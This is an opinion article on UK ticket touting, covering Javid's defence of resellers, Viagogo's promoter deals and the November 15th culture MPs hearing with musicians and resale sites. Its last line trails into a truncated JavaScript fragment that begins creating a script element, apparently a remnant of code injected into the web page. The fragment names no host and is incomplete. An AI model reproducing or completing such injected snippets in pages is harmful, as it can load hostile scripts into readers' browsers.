Artists carry the mantle in stopping the rampant exploitation of their fans

By David Flanigan

In 2011, then-Conservative back-bencher and future-Culture Secretary Sajid Javid suggested that: “Ticket re-sellers act like classic entrepreneurs, because they fill a gap in the market that they have identified,” rubbishing Labour MP and sponsor of the June 2010 Sale of Tickets (for Sporting and Cultural Events) Bill, which aimed to cap resale prices of tickets at 110%. Sharon Hodgson’s notion that the behaviour of ticket touts was “parasitical”.

There is some semblance of logic to Javid’s argument. The UK secondary ticketing market is worth an estimated £1billion, and on its face, touting in the digital era is a simple matter of supply and demand. What muddies this stance is the number of hurdles an average consumer now faces when attempting to purchase tickets.

Channel 4’s ‘Dispatches: The Great Ticket Scandal’ documented staff at secondary ticketing outlet Viagogo admitting that the company receive tickets from promoters that were not made available to the public. As well as scrambling with consumers when highly sought-after tickets go on sale, they are not just a marketplace but an active competitor. The documentary’s revelations certainly renders the UK’s leading ticketing merchant Ticketmaster’s ownership of secondary ticket distributer GetMeIn interesting, to say the least.

Following a petition garnering over 83,000 signatures requesting the government enforce stricter rules upon ticket re-sellers, and the recent formation of the FanFair Alliance, musicians and representatives from major secondary ticketing websites met with culture MPs on November 15th to discuss secondary ticketing.

At the session, Paul Peak, representing the eBay-owned StubHub suggested that they and those like them were “under no legal obligation” to monitor and police their site, responding to claims from Annabella Coldrick of the Music Managers Forum that fellow secondary ticketing site LiveNation estimated in 2012 that 70% of their sales were by professional traders.

With long-time decrier of touting and You Me At Six frontman Josh Franceschi also in attendance, as well as the Arctic Monkeys’ manager Ian McAndrew who claimed he had been frequently courted by a major resale site to enter a deal in which an exchange of an initial ticket inventory would be exchanged for a cut of the resale profits, one he rejected, outright, calling for greater transparency at the first point of sale.

Additionally, Franceschi recently sold tickets directly to fans for You Me At Six’s Camden Dingwalls show from the Dr Martens’ in London’s Carnaby Street outlet in an effort to combat touts. Similarly, the forthcoming UK leg of Biffy Clyro’s Ellipsis tour is selling on a strictly paperless basis, with purchases personalised to the individual buyer to cripple the tickets’ resale potential.

Such is their inherent inconvenience, however, these are, as of yet, hardly ideal solutions to touting.

In Biffy Clyro’s case, buyers are charged a “delivery” fee to have their payment card scanned upon entry to their respective gig, there are no physical tickets to speak of – on top of the ticket’s face price and booking fee.  In September, Bremen District Court deemed service charges on paperless or print-at-home tickets to be “inadmissible,” filing in favour of the North Rhine-Westphalian Consumer Association against German ticketing agency CTS Eventim – a wing of parent company Eventim UK. A similar ruling against the parent company cannot come swiftly enough.

Ethically questionable, morally bankrupt, but for the time being, largely legally sound – it seems unlikely an unconditional tout surrender in the battle over the second-hand ticketing market will be forced in the near-future. The secondary market is not an intrinsically poor thing, merely how exploitable it is, and one can only hope that the November 15th session can bring about the clearly required legislative changes to end the continued exploitation of live music fans.var d=document;var s=d.createElement(‘script’);